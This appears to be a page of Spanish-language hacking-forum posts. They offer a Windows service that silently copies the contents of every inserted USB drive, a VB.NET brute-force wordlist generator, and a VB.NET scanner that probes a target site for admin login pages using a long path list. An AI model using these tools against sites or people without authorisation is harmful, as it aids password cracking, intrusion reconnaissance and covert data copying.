Tenes tu propio USB y sin querer lo formateas o le pasa algo,tenes un "backup" en tu pc ;)

#3) Como funciona?
Es un servicio de windows, no necesita ningun tipo de interaccion.
 

 
Se maneja el funcionamiento dentro de el archivo Config.ini que esta bien comentado y es facil de modificar.
Config INI:
 
Código: [Seleccionar]
; Z80 USB Copier config file
 
[Extensions]
; Si CopyAnyExtensionFile=1 se copian todos los archivos y CopyOnlyFilesWithExtension es omitido
CopyAnyExtensionFile=0
CopyOnlyFilesWithExtension=accdb,avi,bmp,css,dll,doc,docx,exe,gif,htm,html,ico,ini,jpeg,jpg,log,mdb,mov,mp3,mp4,msi,ogg,pdf,png,rar,sql,txt,wav,xls,xlsx,xps,zip

; Ejemplos de Extensiones:
; Imagenes:
;CopyOnlyFilesWithExtension=bmp,gif,ico,jpeg,jpg,png
; Documentos:
;CopyOnlyFilesWithExtension=accdb,doc,docx,mdb,pdf,txt,xls,xlsx,xps
; Ejecutables y Comprimidos:
;CopyOnlyFilesWithExtension=exe,msi,rar,zip
; Audio y Video:
;CopyOnlyFilesWithExtension=avi,mov,mp3,mp4,ogg,wav,wma
 
[SizeLimit]
; CopyAnySize=0 copia solo el intervalo entre MinSize y MaxSize 1=Se copian todos los tamaños y se omiten MinSize / MaxSize
CopyAnySize=0
; Sufijos: B (bytes), KB (KiloBytes), MB (MegaBytes)
MinSize=0B   
MaxSize=10MB
 
[DestinationFolder]
; Se copiara a la carpeta que este especificada, %ApplicationStartupPath% es la carpeta donde se instalo el sistema.
; Tambien podes poner una carpeta especifica: C:\carpeta1\carpeta2
RootFolder=%ApplicationStartupPath%
; If you are copying J:\ USB the hierarchy will be:
; RootFolder\yyyyMMdd\HHmmss_J\
;RemoveEmptyFolders=0 al terminar de copiar no hace nada, 1= al terminar de copiar busca carpetas vacias y las borra de la carpeta de destino
RemoveEmptyFolders=0
 
[ExculdeCopyDrives]
; Excluded=0(todos los discos se copiaran) 1=los discos en la variable Drives se excluiran.
Excluded=0
Drives=E,G,J
 
[Debug]
; Values=0 (no hace logs) 1=hace un log en RootFolder\yyyyMMdd\HHmmss_X_log.txt con los archivos salteados
SaveSkippedToLog=1

#4) Cuanto tarda?
Depende si es un USB un disco externo o es un cd, pero aqui una prueba: USB 1.0, 80 MB (196 archivos y 19 carpetas/subcarpetas) de USB a HDD ( no SSD) toma 20 segundos (Windows 10)
 
#5) Como lo instalo?
En el comprimido tenes todo lo que necesitas
1)descomprimis en la carpeta donde quieras que quede (es importante saber que el servicio se instalara ahi y no lo podras sacar, por ende no lo instales en el escritorio por ejemplo)
2)abris un CMD con privilegios de Administrador y navegas a la carpeta que descomprimiste.
3) tipeas estos comandos:
 
Código: [Seleccionar]
installutil.exe Z80USBCopier.exe
net start Z80USBSvc

P.D: es necesario que tengan instalado NET FRAMEWORK 4

DESCARGA

A disfrutar!

Gracias a Zilog80

GRACIAS POR LEER!!!

19
HOLA!!!

Hoy veremos como crear un Creador de Diccionarios con VB.NET!

1)Primero crearemos el proyecto


2)Luego en el Form1 Realizar la siguente interfaz (respetando los nombres de los controles):

2.b) si queremos les ponemos los .Text para que quede asi:


3)Codigo:
3.a)Arriba de la clase Form1 ponemos lo siguiente:
Código: vb.net
  1. Imports System.IO 'importamos esta libreria para poder trabajar con archivos

3.b)Dentro de la clase Form1 ponemos lo siguiente:
Código: vb.net
  1.     Const Sym As String = "/\!·$%&/()='""¡¿?<>., :;-_*+" 'Simbolos
  2.     Const Num As String = "0123456789"                   'Numeros
  3.     Const Min As String = "abcdefghijklmnopqrstuvwxyz"   'Letras Minusculas
  4.     Const May As String = "ABCDEFGHIJKLMNOPQRSTUVWXYZ"   'Letras Mayusculas
  5.     Const SpL As String = "áéíóúàèìòùâêîôûäëïöüçñ"       'Letras Especiales Minusculas
  6.     Const SpU As String = "ÁÉÍÓÚÀÈÌÒÙÂÊÎÔÛÄËÏÖÜÇÑ"       'Letras Especiales Mayusculas

3.c)Una vez esta listo el formulario y los controles le damos doble click a btnIniciar y dejamos este codigo dentro:
Código: vb.net
  1.         'by 79137913 for Underc0de.org
  2.         'creamos secuencia de caracteres a utilizar
  3.         Dim Letras As String = "" 'string que contendra todos los caracteres a combinar para hacer el diccionario
  4.         If checkNumeros.Checked Then Letras = Letras & Num 'si Numeros esta tildado agregamos eso a la cadena
  5.         If checkSimbolos.Checked Then Letras = Letras & Sym 'si Simbolos esta tildado agregamos eso a la cadena
  6.         If checkMinusculas.Checked Then Letras = Letras & Min 'si Letras Minusculas esta tildado agregamos eso a la cadena
  7.         If checkMayusculas.Checked Then Letras = Letras & May 'si Letras Mayusculas esta tildado agregamos eso a la cadena
  8.         If checkEspMin.Checked Then Letras = Letras & SpL 'si Letras Especiales Minusculas esta tildado agregamos eso a la cadena
  9.         If checkEspMay.Checked Then Letras = Letras & SpU 'si Letras Especiales Mayusculas esta tildado agregamos eso a la cadena
  10.         If checkAddMore.Checked Then Letras = Letras & txtAddMore.Text 'si Agregar Siguientes Caracters esta tildado agregamos eso a la cadena
  11.  
  12.         Dim CantLet As Long = Letras.Length - 1 'cantidad de letras
  13.         Dim BufferPalabras As Long = 10000
  14.         Dim Palabras(BufferPalabras) As String 'aqui se guardaran las combinaciones mientras las vamos generando en este ejemplo iremos guardando de a 10000 combinaciones
  15.         Dim CT As Long = 0 'este contador nos dira cuantas palabras estan pendientes de guardar en el archivo
  16.         Dim UbicacionArchivo As String = Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments) & "\Diccionario.txt" 'ubicacion del archivo de salida (en mis documentos)
  17.         Dim CantPos As Long = 0 'Cantidad de letras palabra actual
  18.         Dim Desde As Long = CInt(txtD.Text) 'desde que cantidad de caracteres
  19.         Dim Hasta As Long = CInt(txtH.Text) 'hasta que cantidad de caracteres
  20.         Dim Posiciones() As Long
  21.  
  22.  
  23.         MsgBox("Se iniciara el proceso, puede tardar mucho, para detener cierre la aplicacion con el Administrador de Tareas.",, "ATENCION")
  24.  
  25.         Dim fs As FileStream = File.Create(UbicacionArchivo) 'creamos o sobreescribimos el archivo
  26.         fs.Close() 'cerramos el archivo para que se pueda escribir
  27.  
  28.         For y = 0 To Hasta - Desde
  29.             CantPos = Desde + y - 1 'establecemos el tamañode la combinacion actual
  30.             ReDim Posiciones(CantPos)
  31.             Do
  32.  
  33.                 For x = 0 To CantPos 'una vez por cada posicion que tenga que tener la palabra
  34.                     Palabras(CT) = Palabras(CT) & Letras(Posiciones(x)) 'armamos una combinacion uniendo los caracteres de la cadena letras
  35.                 Next x
  36.  
  37.                 CT += 1 'incrementamos CT en 1
  38.                 Posiciones(0) += 1 'incrementamos la primera letra de posiciones (para que pase de "a" a "b" por ejemplo)
  39.  
  40.                 For x = 0 To CantPos - 1 'nos fijamos si alguna posicion es mayor a la cantidad de letras si es asi volvemos a 0 esa posicion e incrementamos la siguiente
  41.                     If Posiciones(x) > CantLet Then Posiciones(x) = 0 : Posiciones(x + 1) += 1
  42.                 Next
  43.  
  44.                 If CT = BufferPalabras + 1 Then
  45.                     File.AppendAllLines(UbicacionArchivo, Palabras) 'escribimos nuestro buffer de palabras en el archivo linea por linea
  46.                     CT = 0 'volvemos el contador a 0
  47.                     ReDim Palabras(BufferPalabras) 'borramos el buffer de palabras
  48.                 End If
  49.             Loop Until Posiciones(CantPos) = CantLet + 1
  50.         Next y
  51.         If CT > 0 Then 'si hay palabras pendientes de escribir
  52.             ReDim Preserve Palabras(CT - 1)
  53.             File.AppendAllLines(UbicacionArchivo, Palabras) 'escribimos nuestro buffer de palabras en el archivo linea por linea
  54.             CT = 0
  55.         End If
  56.         MsgBox("Terminado, mira en " & UbicacionArchivo & " , y encontraras el diccionario.",, "ATENCION")

El codigo Completo del proyecto quedaria asi:
Código: vb.net
  1. Imports System.IO 'importamos esta libreria para poder trabajar con archivos
  2.  
  3. Public Class Form1
  4.     Const Sym As String = "/\!·$%&/()='""¡¿?<>., :;-_*+" 'Simbolos
  5.     Const Num As String = "0123456789"                   'Numeros
  6.     Const Min As String = "abcdefghijklmnopqrstuvwxyz"   'Letras Minusculas
  7.     Const May As String = "ABCDEFGHIJKLMNOPQRSTUVWXYZ"   'Letras Mayusculas
  8.     Const SpL As String = "áéíóúàèìòùâêîôûäëïöüçñ"       'Letras Especiales Minusculas
  9.     Const SpU As String = "ÁÉÍÓÚÀÈÌÒÙÂÊÎÔÛÄËÏÖÜÇÑ"       'Letras Especiales Mayusculas
  10.  
  11.     Private Sub btnIniciar_Click(sender As Object, e As EventArgs) Handles btnIniciar.Click
  12.         'by 79137913 for Underc0de.org
  13.         'creamos secuencia de caracteres a utilizar
  14.         Dim Letras As String = "" 'string que contendra todos los caracteres a combinar para hacer el diccionario
  15.         If checkNumeros.Checked Then Letras = Letras & Num 'si Numeros esta tildado agregamos eso a la cadena
  16.         If checkSimbolos.Checked Then Letras = Letras & Sym 'si Simbolos esta tildado agregamos eso a la cadena
  17.         If checkMinusculas.Checked Then Letras = Letras & Min 'si Letras Minusculas esta tildado agregamos eso a la cadena
  18.         If checkMayusculas.Checked Then Letras = Letras & May 'si Letras Mayusculas esta tildado agregamos eso a la cadena
  19.         If checkEspMin.Checked Then Letras = Letras & SpL 'si Letras Especiales Minusculas esta tildado agregamos eso a la cadena
  20.         If checkEspMay.Checked Then Letras = Letras & SpU 'si Letras Especiales Mayusculas esta tildado agregamos eso a la cadena
  21.         If checkAddMore.Checked Then Letras = Letras & txtAddMore.Text 'si Agregar Siguientes Caracters esta tildado agregamos eso a la cadena
  22.  
  23.         Dim CantLet As Long = Letras.Length - 1 'cantidad de letras
  24.         Dim BufferPalabras As Long = 10000
  25.         Dim Palabras(BufferPalabras) As String 'aqui se guardaran las combinaciones mientras las vamos generando en este ejemplo iremos guardando de a 10000 combinaciones
  26.         Dim CT As Long = 0 'este contador nos dira cuantas palabras estan pendientes de guardar en el archivo
  27.         Dim UbicacionArchivo As String = Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments) & "\Diccionario.txt" 'ubicacion del archivo de salida (en mis documentos)
  28.         Dim CantPos As Long = 0 'Cantidad de letras palabra actual
  29.         Dim Desde As Long = CInt(txtD.Text) 'desde que cantidad de caracteres
  30.         Dim Hasta As Long = CInt(txtH.Text) 'hasta que cantidad de caracteres
  31.         Dim Posiciones() As Long
  32.  
  33.  
  34.         MsgBox("Se iniciara el proceso, puede tardar mucho, para detener cierre la aplicacion con el Administrador de Tareas.",, "ATENCION")
  35.  
  36.         Dim fs As FileStream = File.Create(UbicacionArchivo) 'creamos o sobreescribimos el archivo
  37.         fs.Close() 'cerramos el archivo para que se pueda escribir
  38.  
  39.         For y = 0 To Hasta - Desde
  40.             CantPos = Desde + y - 1 'establecemos el tamañode la combinacion actual
  41.             ReDim Posiciones(CantPos)
  42.             Do
  43.  
  44.                 For x = 0 To CantPos 'una vez por cada posicion que tenga que tener la palabra
  45.                     Palabras(CT) = Palabras(CT) & Letras(Posiciones(x)) 'armamos una combinacion uniendo los caracteres de la cadena letras
  46.                 Next x
  47.  
  48.                 CT += 1 'incrementamos CT en 1
  49.                 Posiciones(0) += 1 'incrementamos la primera letra de posiciones (para que pase de "a" a "b" por ejemplo)
  50.  
  51.                 For x = 0 To CantPos - 1 'nos fijamos si alguna posicion es mayor a la cantidad de letras si es asi volvemos a 0 esa posicion e incrementamos la siguiente
  52.                     If Posiciones(x) > CantLet Then Posiciones(x) = 0 : Posiciones(x + 1) += 1
  53.                 Next
  54.  
  55.                 If CT = BufferPalabras + 1 Then
  56.                     File.AppendAllLines(UbicacionArchivo, Palabras) 'escribimos nuestro buffer de palabras en el archivo linea por linea
  57.                     CT = 0 'volvemos el contador a 0
  58.                     ReDim Palabras(BufferPalabras) 'borramos el buffer de palabras
  59.                 End If
  60.             Loop Until Posiciones(CantPos) = CantLet + 1
  61.         Next y
  62.         If CT > 0 Then 'si hay palabras pendientes de escribir
  63.             ReDim Preserve Palabras(CT - 1)
  64.             File.AppendAllLines(UbicacionArchivo, Palabras) 'escribimos nuestro buffer de palabras en el archivo linea por linea
  65.             CT = 0
  66.         End If
  67.         MsgBox("Terminado, mira en " & UbicacionArchivo & " , y encontraras el diccionario.",, "ATENCION")
  68.     End Sub
  69. End Class
  70.  

Cuando ya colocamos el codigo solo queda iniciar (apretar F5) y empezar a usarlo, tildan los caracteres que quieren usar o ponen sus caracteres a eleccion en  el cuadro de texto y tildan el checkAddMore,luego presionan Button1 y la magia comienza:


Notas: Puede tardar mucho tiempo, pero los diccionarios siempre tardan mucho en generarse, para mejorar la performance pueden incrementar la variable BufferPalabras, pero el programa consumira mas memoria RAM.

Descargar Source: http://www.mediafire.com/file/3y27q78e782xzd8/BruteForceDictionaryCreator.rar

Hecho y redactado por 79137913

Agradecimientos @ANTRAX

Brute Force Dictionary Creator VBNET

GRACIAS POR LEER!!!

20
C# - VB.NET / Crea tu propio AdminFinder con VB.NET en solo 3 pasos!
« en: Mayo 29, 2017, 09:26:54 am »
HOLA!!!

Hoy veremos como crear un AdminFinder con VB.NET!

1)Primero crearemos el proyecto


2)Luego en el Form1 Realizar la siguente interfaz (respetando los nombres de los controles)[atención txtPosiblesPaths y txtResultado tienen que ser multiline = true] :


3)Una vez esta listo el formulario y los controles le damos doble click a Button1 y dejamos este codigo dentro:
Código: vb.net
  1.         'By 79137913 for http://underc0de.org
  2.         Dim paths() As String = Split(txtPosiblesPaths.Text, vbNewLine) 'separamos los posibles path por linea
  3.         txtResultado.Text = "" 'restablecemos el txtResultado
  4.         For Each path In paths 'por cada linea en el cuadro de texto txtPosiblesPaths
  5.             Try 'estructura para omitir errores
  6.                 'creamos solicitud web
  7.                 Dim request As System.Net.HttpWebRequest = System.Net.HttpWebRequest.Create(txtDestino.Text & path)
  8.                 'obtenemos su respuesta
  9.                 Dim response As System.Net.HttpWebResponse = request.GetResponse()
  10.                 'convertimos la respuesta a un stream de datos
  11.                 Dim sr As System.IO.StreamReader = New System.IO.StreamReader(response.GetResponseStream())
  12.                 'convertimos el stream en texto
  13.                 Dim sourcecode As String = sr.ReadToEnd()
  14.                 If InStr(LCase(sourcecode), "input") Then 'si la pagina obtenida contiene la etiqueta INPUT consideramos que es un admin panel
  15.                     txtResultado.Text = txtResultado.Text & txtDestino.Text & path & vbNewLine 'agregamos una linea con el resultado satisfactorio al txtResultado
  16.                     Me.Refresh() 'hacemos que el formulario se refresque para que se muestren los resultados
  17.                 End If
  18.             Catch 'estructura para omitir errores
  19.             End Try 'estructura para omitir errores
  20.         Next
  21.         MsgBox("Terminado!") 'avisamos que hemos terminado.

El codigo Completo del formulario quedaria asi:
Código: vb.net
  1. Public Class Form1
  2.     Private Sub Button1_Click(sender As Object, e As EventArgs) Handles Button1.Click
  3.         'By 79137913 for http://underc0de.org
  4.         Dim paths() As String = Split(txtPosiblesPaths.Text, vbNewLine) 'separamos los posibles path por linea
  5.         txtResultado.Text = "" 'restablecemos el txtResultado
  6.         For Each path In paths 'por cada linea en el cuadro de texto txtPosiblesPaths
  7.             Try 'estructura para omitir errores
  8.                 'creamos solicitud web
  9.                 Dim request As System.Net.HttpWebRequest = System.Net.HttpWebRequest.Create(txtDestino.Text & path)
  10.                 'obtenemos su respuesta
  11.                 Dim response As System.Net.HttpWebResponse = request.GetResponse()
  12.                 'convertimos la respuesta a un stream de datos
  13.                 Dim sr As System.IO.StreamReader = New System.IO.StreamReader(response.GetResponseStream())
  14.                 'convertimos el stream en texto
  15.                 Dim sourcecode As String = sr.ReadToEnd()
  16.                 If InStr(LCase(sourcecode), "input") Then 'si la pagina obtenida contiene la etiqueta INPUT consideramos que es un admin panel
  17.                     txtResultado.Text = txtResultado.Text & txtDestino.Text & path & vbNewLine 'agregamos una linea con el resultado satisfactorio al txtResultado
  18.                     Me.Refresh() 'hacemos que el formulario se refresque para que se muestren los resultados
  19.                 End If
  20.             Catch 'estructura para omitir errores
  21.             End Try 'estructura para omitir errores
  22.         Next
  23.         MsgBox("Terminado!") 'avisamos que hemos terminado.
  24.     End Sub
  25. End Class

Cuando ya colocamos el codigo solo queda iniciar (apretar F5) y empezar a usarlo, colocamos en txtDestino la URL con http:// y con / al final , llenamos el txtPosiblesPaths con la lista de paths de admin que consigan (al final les dejare una a modo de ejemplo) presionan Button1 y la magia comienza:


Aqui una lista de paths de admin:
Código: [Seleccionar]
wp-admin
admin1.php
admin1.html
admin2.php
admin2.html
yonetim.php
yonetim.html
yonetici.php
yonetici.html
adm/
admin/
admin/account.php
admin/account.html
admin/index.php
admin/index.html
admin/login.php
admin/login.html
admin/home.php
admin/controlpanel.html
admin/controlpanel.php
admin.php
admin.html
admin/cp.php
admin/cp.html
cp.php
cp.html
administrator/
administrator/index.html
administrator/index.php
administrator/login.html
administrator/login.php
administrator/account.html
administrator/account.php
administrator.php
administrator.html
login.php
login.html
modelsearch/login.php
moderator.php
moderator.html
moderator/login.php
moderator/login.html
moderator/admin.php
moderator/admin.html
moderator/
account.php
account.html
controlpanel/
controlpanel.php
controlpanel.html
admincontrol.php
admincontrol.html
adminpanel.php
adminpanel.html
admin1.asp
admin2.asp
yonetim.asp
yonetici.asp
admin/account.asp
admin/index.asp
admin/login.asp
admin/home.asp
admin/controlpanel.asp
admin.asp
admin/cp.asp
cp.asp
administrator/index.asp
administrator/login.asp
administrator/account.asp
administrator.asp
login.asp
modelsearch/login.asp
moderator.asp
moderator/login.asp
moderator/admin.asp
account.asp
controlpanel.asp
admincontrol.asp
adminpanel.asp
fileadmin/
fileadmin.php
fileadmin.asp
fileadmin.html
administration/
administration.php
administration.html
sysadmin.php
sysadmin.html
phpmyadmin/
myadmin/
sysadmin.asp
sysadmin/
ur-admin.asp
ur-admin.php
ur-admin.html
ur-admin/
Server.php
Server.html
Server.asp
Server/
wp-admin/
administr8.php
administr8.html
administr8/
administr8.asp
webadmin/
webadmin.php
webadmin.asp
webadmin.html
administratie/
admins/
admins.php
admins.asp
admins.html
administrivia/
Database_Administration/
WebAdmin/
useradmin/
sysadmins/
admin1/
system-administration/
administrators/
pgadmin/
directadmin/
staradmin/
ServerAdministrator/
SysAdmin/
administer/
LiveUser_Admin/
sys-admin/
typo3/
panel/
cpanel/
cPanel/
cpanel_file/
platz_login/
rcLogin/
blogindex/
formslogin/
autologin/
support_login/
meta_login/
manuallogin/
simpleLogin/
loginflat/
utility_login/
showlogin/
memlogin/
members/
login-redirect/
sub-login/
wp-login/
login1/
dir-login/
login_db/
xlogin/
smblogin/
customer_login/
UserLogin/
login-us/
acct_login/
admin_area/
bigadmin/
project-admins/
phppgadmin/
pureadmin/
sql-admin/
radmind/
openvpnadmin/
wizmysqladmin/
vadmind/
ezsqliteadmin/
hpwebjetadmin/
newsadmin/
adminpro/
Lotus_Domino_Admin/
bbadmin/
vmailadmin/
Indy_admin/
ccp14admin/
irc-macadmin/
banneradmin/
sshadmin/
phpldapadmin/
macadmin/
administratoraccounts/
admin4_account/
admin4_colon/
radmind-1/
Super-Admin/
AdminTools/
cmsadmin/
SysAdmin2/
globes_admin/
cadmins/
phpSQLiteAdmin/
navSiteAdmin/
server_admin_small/
logo_sysadmin/
server/
database_administration/
power_user/
system_administration/
ss_vms_admin_sm/

Descargar Source: http://www.mediafire.com/file/6vh6910dm450ejs/AdminFinder%282%29.rar

Hecho y redactado por 79137913

Agradecimientos @Antrax

GRACIAS POR LEER!!!

Páginas: [1] 2 3 ... 5